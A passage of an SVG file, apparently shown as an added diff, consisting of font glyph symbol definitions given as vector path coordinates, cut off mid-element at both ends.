-0.789062 4.46875 -0.796875 4.4375 -0.796875 C 4.300781 -0.796875 4.234375 -0.734375 4.234375 -0.609375 C 4.234375 -0.515625 4.28125 -0.46875 4.375 -0.46875 C 4.445312 -0.46875 4.5 -0.5 4.53125 -0.5625 L 4.5625 -0.484375 L 4.671875 -0.484375 C 4.660156 -0.515625 4.65625 -0.554688 4.65625 -0.609375 L 4.65625 -0.8125 C 4.65625 -0.9375 4.597656 -1 4.484375 -1 C 4.429688 -1 4.382812 -0.988281 4.34375 -0.96875 C 4.300781 -0.957031 4.269531 -0.945312 4.25 -0.9375 Z M 4.421875 -0.578125 C 4.378906 -0.578125 4.359375 -0.601562 4.359375 -0.65625 C 4.359375 -0.695312 4.382812 -0.71875 4.4375 -0.71875 C 4.46875 -0.71875 4.488281 -0.710938 4.5 -0.703125 C 4.507812 -0.703125 4.519531 -0.703125 4.53125 -0.703125 L 4.53125 -0.65625 C 4.507812 -0.601562 4.472656 -0.578125 4.421875 -0.578125 Z M 5.28125 -0.484375 L 5.28125 -0.78125 C 5.28125 -0.925781 5.222656 -1 5.109375 -1 C 5.023438 -1 4.96875 -0.96875 4.9375 -0.90625 L 4.890625 -0.96875 L 4.796875 -0.96875 L 4.796875 -0.484375 L 4.9375 -0.484375 L 4.9375 -0.796875 C 4.957031 -0.835938 4.992188 -0.859375 5.046875 -0.859375 C 5.097656 -0.859375 5.125 -0.828125 5.125 -0.765625 L 5.125 -0.484375 Z M 5.359375 -0.5 C 5.410156 -0.476562 5.472656 -0.46875 5.546875 -0.46875 C 5.679688 -0.46875 5.75 -0.519531 5.75 -0.625 C 5.75 -0.6875 5.734375 -0.722656 5.703125 -0.734375 C 5.671875 -0.753906 5.632812 -0.773438 5.59375 -0.796875 C 5.539062 -0.816406 5.515625 -0.832031 5.515625 -0.84375 C 5.515625 -0.875 5.53125 -0.890625 5.5625 -0.890625 C 5.613281 -0.890625 5.660156 -0.875 5.703125 -0.84375 L 5.75 -0.953125 C 5.695312 -0.984375 5.632812 -1 5.5625 -1 C 5.4375 -1 5.375 -0.941406 5.375 -0.828125 C 5.375 -0.765625 5.390625 -0.722656 5.421875 -0.703125 C 5.460938 -0.691406 5.5 -0.679688 5.53125 -0.671875 C 5.59375 -0.671875 5.625 -0.648438 5.625 -0.609375 C 5.625 -0.585938 5.601562 -0.578125 5.5625 -0.578125 C 5.5 -0.578125 5.445312 -0.585938 5.40625 -0.609375 Z M 6.109375 -0.765625 C 6.109375 -0.503906 6.226562 -0.375 6.46875 -0.375 C 6.707031 -0.375 6.828125 -0.503906 6.828125 -0.765625 C 6.828125 -1.003906 6.707031 -1.125 6.46875 -1.125 C 6.375 -1.125 6.289062 -1.085938 6.21875 -1.015625 C 6.144531 -0.953125 6.109375 -0.867188 6.109375 -0.765625 Z M 6.21875 -0.765625 C 6.21875 -0.941406 6.300781 -1.03125 6.46875 -1.03125 C 6.632812 -1.03125 6.71875 -0.941406 6.71875 -0.765625 C 6.71875 -0.578125 6.632812 -0.484375 6.46875 -0.484375 C 6.300781 -0.484375 6.21875 -0.578125 6.21875 -0.765625 Z M 6.578125 -0.6875 C 6.546875 -0.675781 6.519531 -0.671875 6.5 -0.671875 C 6.457031 -0.671875 6.4375 -0.703125 6.4375 -0.765625 C 6.4375 -0.804688 6.457031 -0.828125 6.5 -0.828125 L 6.5625 -0.828125 L 6.59375 -0.90625 C 6.539062 -0.925781 6.5 -0.9375 6.46875 -0.9375 C 6.351562 -0.9375 6.296875 -0.878906 6.296875 -0.765625 C 6.296875 -0.628906 6.351562 -0.5625 6.46875 -0.5625 C 6.53125 -0.5625 6.570312 -0.570312 6.59375 -0.59375 Z M 7.203125 -0.484375 L 7.34375 -0.484375 L 7.34375 -0.703125 L 7.421875 -0.703125 C 7.492188 -0.703125 7.5625 -0.71875 7.625 -0.75 C 7.6875 -0.78125 7.71875 -0.835938 7.71875 -0.921875 C 7.71875 -1.015625 7.679688 -1.070312 7.609375 -1.09375 C 7.546875 -1.125 7.476562 -1.140625 7.40625 -1.140625 L 7.203125 -1.140625 Z M 7.421875 -1.03125 C 7.515625 -1.03125 7.5625 -1 7.5625 -0.9375 C 7.5625 -0.875 7.546875 -0.835938 7.515625 -0.828125 C 7.492188 -0.828125 7.457031 -0.828125 7.40625 -0.828125 L 7.34375 -0.828125 L 7.34375 -1.03125 Z M 7.796875 -0.84375 C 7.847656 -0.875 7.90625 -0.890625 7.96875 -0.890625 C 8.03125 -0.890625 8.0625 -0.863281 8.0625 -0.8125 L 8.0625 -0.78125 C 8.039062 -0.78125 8.023438 -0.78125 8.015625 -0.78125 C 8.003906 -0.789062 7.988281 -0.796875 7.96875 -0.796875 C 7.8125 -0.796875 7.734375 -0.734375 7.734375 -0.609375 C 7.734375 -0.515625 7.785156 -0.46875 7.890625 -0.46875 C 7.960938 -0.46875 8.019531 -0.5 8.0625 -0.5625 L 8.09375 -0.484375 L 8.203125 -0.484375 C 8.191406 -0.515625 8.1875 -0.554688 8.1875 -0.609375 L 8.1875 -0.8125 C 8.1875 -0.9375 8.125 -1 8 -1 C 7.945312 -1 7.898438 -0.988281 7.859375 -0.96875 C 7.816406 -0.957031 7.785156 -0.945312 7.765625 -0.9375 Z M 7.953125 -0.578125 C 7.898438 -0.578125 7.875 -0.601562 7.875 -0.65625 C 7.875 -0.695312 7.90625 -0.71875 7.96875 -0.71875 C 7.988281 -0.71875 8.003906 -0.710938 8.015625 -0.703125 C 8.023438 -0.703125 8.039062 -0.703125 8.0625 -0.703125 L 8.0625 -0.65625 C 8.03125 -0.601562 7.992188 -0.578125 7.953125 -0.578125 Z M 8.640625 -0.96875 C 8.617188 -0.988281 8.59375 -1 8.5625 -1 C 8.507812 -1 8.472656 -0.96875 8.453125 -0.90625 L 8.4375 -0.90625 L 8.421875 -0.96875 L 8.3125 -0.96875 L 8.3125 -0.484375 L 8.453125 -0.484375 L 8.453125 -0.796875 C 8.453125 -0.835938 8.488281 -0.859375 8.5625 -0.859375 L 8.578125 -0.859375 C 8.585938 -0.859375 8.59375 -0.851562 8.59375 -0.84375 C 8.59375 -0.84375 8.597656 -0.84375 8.609375 -0.84375 Z M 8.71875 -0.84375 C 8.789062 -0.875 8.847656 -0.890625 8.890625 -0.890625 C 8.953125 -0.890625 8.984375 -0.863281 8.984375 -0.8125 L 8.984375 -0.78125 C 8.960938 -0.78125 8.945312 -0.78125 8.9375 -0.78125 C 8.925781 -0.789062 8.910156 -0.796875 8.890625 -0.796875 C 8.734375 -0.796875 8.65625 -0.734375 8.65625 -0.609375 C 8.65625 -0.515625 8.707031 -0.46875 8.8125 -0.46875 C 8.894531 -0.46875 8.953125 -0.5 8.984375 -0.5625 L 9 -0.5625 L 9.015625 -0.484375 L 9.125 -0.484375 C 9.113281 -0.515625 9.109375 -0.554688 9.109375 -0.609375 L 9.109375 -0.8125 C 9.109375 -0.9375 9.046875 -1 8.921875 -1 C 8.867188 -1 8.828125 -0.988281 8.796875 -0.96875 C 8.765625 -0.957031 8.734375 -0.945312 8.703125 -0.9375 Z M 8.875 -0.578125 C 8.820312 -0.578125 8.796875 -0.601562 8.796875 -0.65625 C 8.796875 -0.695312 8.828125 -0.71875 8.890625 -0.71875 C 8.910156 -0.71875 8.925781 -0.710938 8.9375 -0.703125 C 8.945312 -0.703125 8.960938 -0.703125 8.984375 -0.703125 L 8.984375 -0.65625 C 8.953125 -0.601562 8.914062 -0.578125 8.875 -0.578125 Z M 9.625 -1.140625 L 9.0625 -1.140625 L 9.0625 -1.03125 L 9.265625 -1.03125 L 9.265625 -0.484375 L 9.40625 -0.484375 L 9.40625 -1.03125 L 9.625 -1.03125 Z M 9.765625 -0.96875 L 9.625 -0.96875 L 9.84375 -0.484375 C 9.832031 -0.421875 9.800781 -0.390625 9.75 -0.390625 L 9.734375 -0.421875 L 9.703125 -0.3125 C 9.722656 -0.289062 9.753906 -0.28125 9.796875 -0.28125 C 9.847656 -0.28125 9.90625 -0.363281 9.96875 -0.53125 L 10.15625 -0.96875 L 10 -0.96875 L 9.921875 -0.703125 L 9.921875 -0.609375 L 9.890625 -0.609375 L 9.875 -0.703125 Z M 10.203125 -0.28125 L 10.34375 -0.28125 L 10.34375 -0.5 C 10.363281 -0.476562 10.394531 -0.46875 10.4375 -0.46875 C 10.601562 -0.46875 10.6875 -0.554688 10.6875 -0.734375 C 10.6875 -0.910156 10.625 -1 10.5 -1 C 10.4375 -1 10.378906 -0.972656 10.328125 -0.921875 L 10.3125 -0.921875 L 10.296875 -0.96875 L 10.203125 -0.96875 Z M 10.453125 -0.890625 C 10.515625 -0.890625 10.546875 -0.835938 10.546875 -0.734375 C 10.546875 -0.628906 10.503906 -0.578125 10.421875 -0.578125 C 10.398438 -0.578125 10.375 -0.585938 10.34375 -0.609375 L 10.34375 -0.796875 C 10.34375 -0.859375 10.378906 -0.890625 10.453125 -0.890625 Z M 11.15625 -0.609375 C 11.132812 -0.585938 11.09375 -0.578125 11.03125 -0.578125 C 10.945312 -0.578125 10.898438 -0.613281 10.890625 -0.6875 L 11.234375 -0.6875 L 11.234375 -0.796875 C 11.234375 -0.867188 11.210938 -0.921875 11.171875 -0.953125 C 11.128906 -0.984375 11.078125 -1 11.015625 -1 C 10.847656 -1 10.765625 -0.90625 10.765625 -0.71875 C 10.765625 -0.550781 10.847656 -0.46875 11.015625 -0.46875 C 11.054688 -0.46875 11.09375 -0.472656 11.125 -0.484375 C 11.164062 -0.492188 11.195312 -0.507812 11.21875 -0.53125 Z M 11.015625 -0.890625 C 11.085938 -0.890625 11.117188 -0.851562 11.109375 -0.78125 L 10.90625 -0.78125 C 10.90625 -0.851562 10.941406 -0.890625 11.015625 -0.890625 Z M 11.015625 -0.890625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-1">
+<path style="stroke:none;" d="M 7.171875 -5.828125 L 2.515625 -5.828125 L 2.515625 0 L 1.15625 0 L 1.15625 -12.640625 L 2.515625 -12.640625 L 2.515625 -7.078125 L 7.171875 -7.078125 L 7.171875 -12.640625 L 8.53125 -12.640625 L 8.53125 0 L 7.171875 0 Z M 7.171875 -5.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-2">
+<path style="stroke:none;" d="M 6.46875 -0.609375 C 6.175781 -0.347656 5.804688 -0.144531 5.359375 0 C 4.921875 0.144531 4.453125 0.21875 3.953125 0.21875 C 3.390625 0.21875 2.898438 0.109375 2.484375 -0.109375 C 2.066406 -0.335938 1.722656 -0.660156 1.453125 -1.078125 C 1.179688 -1.492188 0.984375 -1.988281 0.859375 -2.5625 C 0.734375 -3.144531 0.671875 -3.796875 0.671875 -4.515625 C 0.671875 -6.054688 0.953125 -7.226562 1.515625 -8.03125 C 2.078125 -8.84375 2.878906 -9.25 3.921875 -9.25 C 4.253906 -9.25 4.585938 -9.207031 4.921875 -9.125 C 5.253906 -9.039062 5.550781 -8.867188 5.8125 -8.609375 C 6.082031 -8.359375 6.296875 -8.003906 6.453125 -7.546875 C 6.617188 -7.085938 6.703125 -6.492188 6.703125 -5.765625 C 6.703125 -5.554688 6.691406 -5.332031 6.671875 -5.09375 C 6.648438 -4.863281 6.628906 -4.625 6.609375 -4.375 L 2.015625 -4.375 C 2.015625 -3.851562 2.054688 -3.378906 2.140625 -2.953125 C 2.234375 -2.535156 2.367188 -2.175781 2.546875 -1.875 C 2.722656 -1.582031 2.953125 -1.351562 3.234375 -1.1875 C 3.523438 -1.03125 3.878906 -0.953125 4.296875 -0.953125 C 4.617188 -0.953125 4.941406 -1.007812 5.265625 -1.125 C 5.585938 -1.25 5.832031 -1.398438 6 -1.578125 Z M 5.453125 -5.453125 C 5.472656 -6.359375 5.34375 -7.019531 5.0625 -7.4375 C 4.789062 -7.863281 4.414062 -8.078125 3.9375 -8.078125 C 3.382812 -8.078125 2.941406 -7.863281 2.609375 -7.4375 C 2.285156 -7.019531 2.097656 -6.359375 2.046875 -5.453125 Z M 5.453125 -5.453125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-3">
+<path style="stroke:none;" d="M 3.3125 -3.203125 L 3.6875 -1.4375 L 3.78125 -1.4375 L 4.046875 -3.203125 L 5.421875 -9.03125 L 6.734375 -9.03125 L 4.59375 -0.921875 C 4.414062 -0.273438 4.242188 0.328125 4.078125 0.890625 C 3.910156 1.460938 3.726562 1.957031 3.53125 2.375 C 3.332031 2.789062 3.109375 3.113281 2.859375 3.34375 C 2.617188 3.582031 2.328125 3.703125 1.984375 3.703125 C 1.648438 3.703125 1.359375 3.648438 1.109375 3.546875 L 1.3125 2.3125 C 1.488281 2.375 1.660156 2.382812 1.828125 2.34375 C 1.992188 2.3125 2.148438 2.207031 2.296875 2.03125 C 2.453125 1.863281 2.59375 1.613281 2.71875 1.28125 C 2.84375 0.957031 2.953125 0.53125 3.046875 0 L 0.125 -9.03125 L 1.609375 -9.03125 Z M 3.3125 -3.203125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-4">
+<path style="stroke:none;" d="M 1.828125 -12.640625 L 3.171875 -12.640625 L 3.171875 -6.375 L 2.90625 -3.203125 L 2.09375 -3.203125 L 1.828125 -6.375 Z M 1.59375 -0.8125 C 1.59375 -1.144531 1.671875 -1.394531 1.828125 -1.5625 C 1.992188 -1.738281 2.21875 -1.828125 2.5 -1.828125 C 2.769531 -1.828125 2.984375 -1.738281 3.140625 -1.5625 C 3.304688 -1.394531 3.390625 -1.144531 3.390625 -0.8125 C 3.390625 -0.457031 3.304688 -0.195312 3.140625 -0.03125 C 2.984375 0.132812 2.769531 0.21875 2.5 0.21875 C 2.21875 0.21875 1.992188 0.132812 1.828125 -0.03125 C 1.671875 -0.195312 1.59375 -0.457031 1.59375 -0.8125 Z M 1.59375 -0.8125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-5">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph1-6">
+<path style="stroke:none;" d="M 7.765625 -0.484375 C 7.460938 -0.234375 7.082031 -0.0546875 6.625 0.046875 C 6.164062 0.160156 5.6875 0.21875 5.1875 0.21875 C 4.550781 0.21875 3.957031 0.0976562 3.40625 -0.140625 C 2.863281 -0.378906 2.394531 -0.757812 2 -1.28125 C 1.613281 -1.8125 1.3125 -2.488281 1.09375 -3.3125 C 0.882812 -4.144531 0.78125 -5.148438 0.78125 -6.328125 C 0.78125 -7.523438 0.898438 -8.539062 1.140625 -9.375 C 1.390625 -10.207031 1.71875 -10.878906 2.125 -11.390625 C 2.539062 -11.910156 3.015625 -12.285156 3.546875 -12.515625 C 4.085938 -12.742188 4.640625 -12.859375 5.203125 -12.859375 C 5.773438 -12.859375 6.25 -12.816406 6.625 -12.734375 C 7.007812 -12.648438 7.34375 -12.546875 7.625 -12.421875 L 7.296875 -11.203125 C 7.054688 -11.328125 6.769531 -11.425781 6.4375 -11.5 C 6.113281 -11.570312 5.742188 -11.609375 5.328125 -11.609375 C 4.910156 -11.609375 4.515625 -11.515625 4.140625 -11.328125 C 3.765625 -11.140625 3.429688 -10.835938 3.140625 -10.421875 C 2.847656 -10.015625 2.617188 -9.472656 2.453125 -8.796875 C 2.285156 -8.117188 2.203125 -7.296875 2.203125 -6.328125 C 2.203125 -4.566406 2.503906 -3.242188 3.109375 -2.359375 C 3.710938 -1.472656 4.515625 -1.03125 5.515625 -1.03125 C 5.921875 -1.03125 6.285156 -1.085938 6.609375 -1.203125 C 6.929688 -1.316406 7.207031 -1.453125 7.4375 -1.609375 Z M 7.765625 -0.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-7">
+<path style="stroke:none;" d="M 0.96875 -8.484375 C 1.320312 -8.703125 1.75 -8.867188 2.25 -8.984375 C 2.75 -9.109375 3.273438 -9.171875 3.828125 -9.171875 C 4.335938 -9.171875 4.742188 -9.09375 5.046875 -8.9375 C 5.359375 -8.789062 5.597656 -8.585938 5.765625 -8.328125 C 5.941406 -8.078125 6.054688 -7.785156 6.109375 -7.453125 C 6.171875 -7.117188 6.203125 -6.769531 6.203125 -6.40625 C 6.203125 -5.6875 6.1875 -4.984375 6.15625 -4.296875 C 6.125 -3.609375 6.109375 -2.957031 6.109375 -2.34375 C 6.109375 -1.882812 6.125 -1.457031 6.15625 -1.0625 C 6.1875 -0.675781 6.242188 -0.3125 6.328125 0.03125 L 5.328125 0.03125 L 5.015625 -1.03125 L 4.953125 -1.03125 C 4.765625 -0.71875 4.492188 -0.445312 4.140625 -0.21875 C 3.796875 0.0078125 3.332031 0.125 2.75 0.125 C 2.09375 0.125 1.554688 -0.0976562 1.140625 -0.546875 C 0.734375 -1.003906 0.53125 -1.628906 0.53125 -2.421875 C 0.53125 -2.941406 0.613281 -3.375 0.78125 -3.71875 C 0.957031 -4.070312 1.203125 -4.351562 1.515625 -4.5625 C 1.835938 -4.78125 2.21875 -4.9375 2.65625 -5.03125 C 3.101562 -5.125 3.597656 -5.171875 4.140625 -5.171875 C 4.253906 -5.171875 4.367188 -5.171875 4.484375 -5.171875 C 4.609375 -5.171875 4.738281 -5.160156 4.875 -5.140625 C 4.914062 -5.515625 4.9375 -5.847656 4.9375 -6.140625 C 4.9375 -6.828125 4.832031 -7.304688 4.625 -7.578125 C 4.414062 -7.859375 4.039062 -8 3.5 -8 C 3.164062 -8 2.800781 -7.945312 2.40625 -7.84375 C 2.007812 -7.738281 1.675781 -7.609375 1.40625 -7.453125 Z M 4.890625 -4.125 C 4.773438 -4.132812 4.65625 -4.140625 4.53125 -4.140625 C 4.414062 -4.148438 4.296875 -4.15625 4.171875 -4.15625 C 3.878906 -4.15625 3.59375 -4.128906 3.3125 -4.078125 C 3.039062 -4.035156 2.796875 -3.953125 2.578125 -3.828125 C 2.367188 -3.710938 2.195312 -3.550781 2.0625 -3.34375 C 1.9375 -3.132812 1.875 -2.875 1.875 -2.5625 C 1.875 -2.082031 1.988281 -1.707031 2.21875 -1.4375 C 2.457031 -1.175781 2.765625 -1.046875 3.140625 -1.046875 C 3.648438 -1.046875 4.039062 -1.164062 4.3125 -1.40625 C 4.59375 -1.644531 4.785156 -1.910156 4.890625 -2.203125 Z M 4.890625 -4.125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-8">
+<path style="stroke:none;" d="M 5.6875 0 L 5.6875 -5.515625 C 5.6875 -6.410156 5.582031 -7.0625 5.375 -7.46875 C 5.164062 -7.875 4.789062 -8.078125 4.25 -8.078125 C 3.757812 -8.078125 3.359375 -7.929688 3.046875 -7.640625 C 2.734375 -7.347656 2.503906 -6.992188 2.359375 -6.578125 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 2 -9.03125 L 2.234375 -8.078125 L 2.296875 -8.078125 C 2.523438 -8.398438 2.832031 -8.675781 3.21875 -8.90625 C 3.613281 -9.132812 4.082031 -9.25 4.625 -9.25 C 5.007812 -9.25 5.347656 -9.191406 5.640625 -9.078125 C 5.941406 -8.972656 6.191406 -8.789062 6.390625 -8.53125 C 6.585938 -8.269531 6.734375 -7.921875 6.828125 -7.484375 C 6.929688 -7.054688 6.984375 -6.515625 6.984375 -5.859375 L 6.984375 0 Z M 5.6875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-9">
+<path style="stroke:none;" d="M 1.421875 -12.640625 L 2.78125 -12.640625 L 2.78125 0 L 1.421875 0 Z M 1.421875 -12.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-10">
+<path style="stroke:none;" d="M 0.921875 -1.484375 C 1.160156 -1.335938 1.445312 -1.210938 1.78125 -1.109375 C 2.113281 -1.003906 2.453125 -0.953125 2.796875 -0.953125 C 3.191406 -0.953125 3.53125 -1.050781 3.8125 -1.25 C 4.09375 -1.445312 4.234375 -1.769531 4.234375 -2.21875 C 4.234375 -2.59375 4.144531 -2.898438 3.96875 -3.140625 C 3.800781 -3.378906 3.585938 -3.59375 3.328125 -3.78125 C 3.066406 -3.976562 2.785156 -4.15625 2.484375 -4.3125 C 2.191406 -4.476562 1.914062 -4.675781 1.65625 -4.90625 C 1.394531 -5.132812 1.179688 -5.40625 1.015625 -5.71875 C 0.847656 -6.039062 0.765625 -6.441406 0.765625 -6.921875 C 0.765625 -7.691406 0.96875 -8.269531 1.375 -8.65625 C 1.789062 -9.050781 2.378906 -9.25 3.140625 -9.25 C 3.640625 -9.25 4.066406 -9.203125 4.421875 -9.109375 C 4.785156 -9.023438 5.097656 -8.90625 5.359375 -8.75 L 5.015625 -7.65625 C 4.785156 -7.78125 4.519531 -7.878906 4.21875 -7.953125 C 3.925781 -8.035156 3.625 -8.078125 3.3125 -8.078125 C 2.875 -8.078125 2.554688 -7.984375 2.359375 -7.796875 C 2.160156 -7.617188 2.0625 -7.335938 2.0625 -6.953125 C 2.0625 -6.648438 2.144531 -6.394531 2.3125 -6.1875 C 2.476562 -5.976562 2.691406 -5.785156 2.953125 -5.609375 C 3.210938 -5.429688 3.492188 -5.25 3.796875 -5.0625 C 4.097656 -4.882812 4.375 -4.671875 4.625 -4.421875 C 4.882812 -4.179688 5.097656 -3.890625 5.265625 -3.546875 C 5.441406 -3.203125 5.53125 -2.773438 5.53125 -2.265625 C 5.53125 -1.921875 5.472656 -1.597656 5.359375 -1.296875 C 5.253906 -0.992188 5.085938 -0.734375 4.859375 -0.515625 C 4.640625 -0.296875 4.363281 -0.117188 4.03125 0.015625 C 3.707031 0.148438 3.320312 0.21875 2.875 0.21875 C 2.34375 0.21875 1.882812 0.164062 1.5 0.0625 C 1.113281 -0.0390625 0.789062 -0.175781 0.53125 -0.34375 Z M 0.921875 -1.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-11">
+<path style="stroke:none;" d="M 0.15625 -9.03125 L 1.265625 -9.03125 L 1.265625 -10.8125 L 2.5625 -11.234375 L 2.5625 -9.03125 L 4.515625 -9.03125 L 4.515625 -7.859375 L 2.5625 -7.859375 L 2.5625 -2.46875 C 2.5625 -1.945312 2.625 -1.566406 2.75 -1.328125 C 2.875 -1.085938 3.082031 -0.96875 3.375 -0.96875 C 3.613281 -0.96875 3.820312 -0.992188 4 -1.046875 C 4.175781 -1.109375 4.363281 -1.179688 4.5625 -1.265625 L 4.828125 -0.234375 C 4.554688 -0.0976562 4.257812 0.00390625 3.9375 0.078125 C 3.625 0.160156 3.289062 0.203125 2.9375 0.203125 C 2.34375 0.203125 1.914062 0.0078125 1.65625 -0.375 C 1.394531 -0.769531 1.265625 -1.410156 1.265625 -2.296875 L 1.265625 -7.859375 L 0.15625 -7.859375 Z M 0.15625 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-12">
+<path style="stroke:none;" d="M 0.671875 -4.515625 C 0.671875 -6.140625 0.945312 -7.332031 1.5 -8.09375 C 2.0625 -8.863281 2.863281 -9.25 3.90625 -9.25 C 5.007812 -9.25 5.820312 -8.859375 6.34375 -8.078125 C 6.875 -7.296875 7.140625 -6.109375 7.140625 -4.515625 C 7.140625 -2.878906 6.851562 -1.679688 6.28125 -0.921875 C 5.71875 -0.160156 4.925781 0.21875 3.90625 0.21875 C 2.789062 0.21875 1.972656 -0.171875 1.453125 -0.953125 C 0.929688 -1.734375 0.671875 -2.921875 0.671875 -4.515625 Z M 2.015625 -4.515625 C 2.015625 -3.984375 2.046875 -3.5 2.109375 -3.0625 C 2.179688 -2.632812 2.289062 -2.265625 2.4375 -1.953125 C 2.59375 -1.640625 2.789062 -1.394531 3.03125 -1.21875 C 3.269531 -1.039062 3.5625 -0.953125 3.90625 -0.953125 C 4.53125 -0.953125 5 -1.234375 5.3125 -1.796875 C 5.625 -2.359375 5.78125 -3.265625 5.78125 -4.515625 C 5.78125 -5.035156 5.742188 -5.515625 5.671875 -5.953125 C 5.609375 -6.390625 5.5 -6.765625 5.34375 -7.078125 C 5.195312 -7.390625 5.003906 -7.632812 4.765625 -7.8125 C 4.523438 -7.988281 4.238281 -8.078125 3.90625 -8.078125 C 3.289062 -8.078125 2.820312 -7.789062 2.5 -7.21875 C 2.175781 -6.65625 2.015625 -5.753906 2.015625 -4.515625 Z M 2.015625 -4.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-13">
+<path style="stroke:none;" d="M 6.75 -3.109375 C 6.75 -2.492188 6.753906 -1.9375 6.765625 -1.4375 C 6.785156 -0.9375 6.832031 -0.445312 6.90625 0.03125 L 6.015625 0.03125 L 5.71875 -1.046875 L 5.65625 -1.046875 C 5.488281 -0.679688 5.222656 -0.378906 4.859375 -0.140625 C 4.492188 0.0976562 4.0625 0.21875 3.5625 0.21875 C 2.582031 0.21875 1.851562 -0.160156 1.375 -0.921875 C 0.90625 -1.679688 0.671875 -2.875 0.671875 -4.5 C 0.671875 -6.039062 0.960938 -7.207031 1.546875 -8 C 2.128906 -8.789062 2.929688 -9.1875 3.953125 -9.1875 C 4.304688 -9.1875 4.582031 -9.164062 4.78125 -9.125 C 4.988281 -9.082031 5.210938 -9.015625 5.453125 -8.921875 L 5.453125 -12.640625 L 6.75 -12.640625 Z M 5.453125 -7.609375 C 5.285156 -7.753906 5.09375 -7.859375 4.875 -7.921875 C 4.664062 -7.984375 4.390625 -8.015625 4.046875 -8.015625 C 3.410156 -8.015625 2.910156 -7.722656 2.546875 -7.140625 C 2.191406 -6.566406 2.015625 -5.679688 2.015625 -4.484375 C 2.015625 -3.953125 2.046875 -3.472656 2.109375 -3.046875 C 2.179688 -2.617188 2.285156 -2.25 2.421875 -1.9375 C 2.566406 -1.625 2.75 -1.378906 2.96875 -1.203125 C 3.195312 -1.035156 3.472656 -0.953125 3.796875 -0.953125 C 4.660156 -0.953125 5.210938 -1.46875 5.453125 -2.5 Z M 5.453125 -7.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-14">
+<path style="stroke:none;" d="M 1.296875 -12.640625 L 2.546875 -12.640625 L 2.078125 -9.15625 L 1.296875 -9.15625 Z M 1.296875 -12.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-15">
+<path style="stroke:none;" d="M 6.046875 -0.453125 C 5.742188 -0.222656 5.398438 -0.0546875 5.015625 0.046875 C 4.628906 0.160156 4.226562 0.21875 3.8125 0.21875 C 3.226562 0.21875 2.738281 0.109375 2.34375 -0.109375 C 1.945312 -0.335938 1.625 -0.660156 1.375 -1.078125 C 1.132812 -1.492188 0.957031 -1.992188 0.84375 -2.578125 C 0.726562 -3.160156 0.671875 -3.804688 0.671875 -4.515625 C 0.671875 -6.054688 0.941406 -7.226562 1.484375 -8.03125 C 2.035156 -8.84375 2.820312 -9.25 3.84375 -9.25 C 4.3125 -9.25 4.710938 -9.207031 5.046875 -9.125 C 5.390625 -9.039062 5.679688 -8.929688 5.921875 -8.796875 L 5.5625 -7.65625 C 5.082031 -7.9375 4.554688 -8.078125 3.984375 -8.078125 C 3.335938 -8.078125 2.847656 -7.789062 2.515625 -7.21875 C 2.179688 -6.644531 2.015625 -5.742188 2.015625 -4.515625 C 2.015625 -4.023438 2.050781 -3.5625 2.125 -3.125 C 2.195312 -2.6875 2.316406 -2.304688 2.484375 -1.984375 C 2.660156 -1.671875 2.878906 -1.421875 3.140625 -1.234375 C 3.410156 -1.046875 3.742188 -0.953125 4.140625 -0.953125 C 4.453125 -0.953125 4.742188 -1.003906 5.015625 -1.109375 C 5.285156 -1.222656 5.503906 -1.351562 5.671875 -1.5 Z M 6.046875 -0.453125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-16">
+<path style="stroke:none;" d="M 5.296875 0 L 5.296875 -5.359375 C 5.296875 -5.847656 5.28125 -6.257812 5.25 -6.59375 C 5.21875 -6.9375 5.148438 -7.21875 5.046875 -7.4375 C 4.953125 -7.65625 4.820312 -7.816406 4.65625 -7.921875 C 4.488281 -8.023438 4.265625 -8.078125 3.984375 -8.078125 C 3.578125 -8.078125 3.234375 -7.914062 2.953125 -7.59375 C 2.671875 -7.269531 2.472656 -6.90625 2.359375 -6.5 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 1.984375 -9.03125 L 2.21875 -8.078125 L 2.28125 -8.078125 C 2.53125 -8.421875 2.828125 -8.703125 3.171875 -8.921875 C 3.523438 -9.140625 3.972656 -9.25 4.515625 -9.25 C 4.972656 -9.25 5.347656 -9.148438 5.640625 -8.953125 C 5.941406 -8.753906 6.175781 -8.398438 6.34375 -7.890625 C 6.5625 -8.316406 6.867188 -8.648438 7.265625 -8.890625 C 7.671875 -9.128906 8.113281 -9.25 8.59375 -9.25 C 8.988281 -9.25 9.328125 -9.195312 9.609375 -9.09375 C 9.898438 -8.988281 10.128906 -8.804688 10.296875 -8.546875 C 10.472656 -8.296875 10.601562 -7.953125 10.6875 -7.515625 C 10.769531 -7.085938 10.8125 -6.550781 10.8125 -5.90625 L 10.8125 0 L 9.515625 0 L 9.515625 -5.75 C 9.515625 -6.53125 9.4375 -7.113281 9.28125 -7.5 C 9.132812 -7.882812 8.789062 -8.078125 8.25 -8.078125 C 7.789062 -8.078125 7.425781 -7.929688 7.15625 -7.640625 C 6.882812 -7.359375 6.695312 -6.976562 6.59375 -6.5 L 6.59375 0 Z M 5.296875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-17">
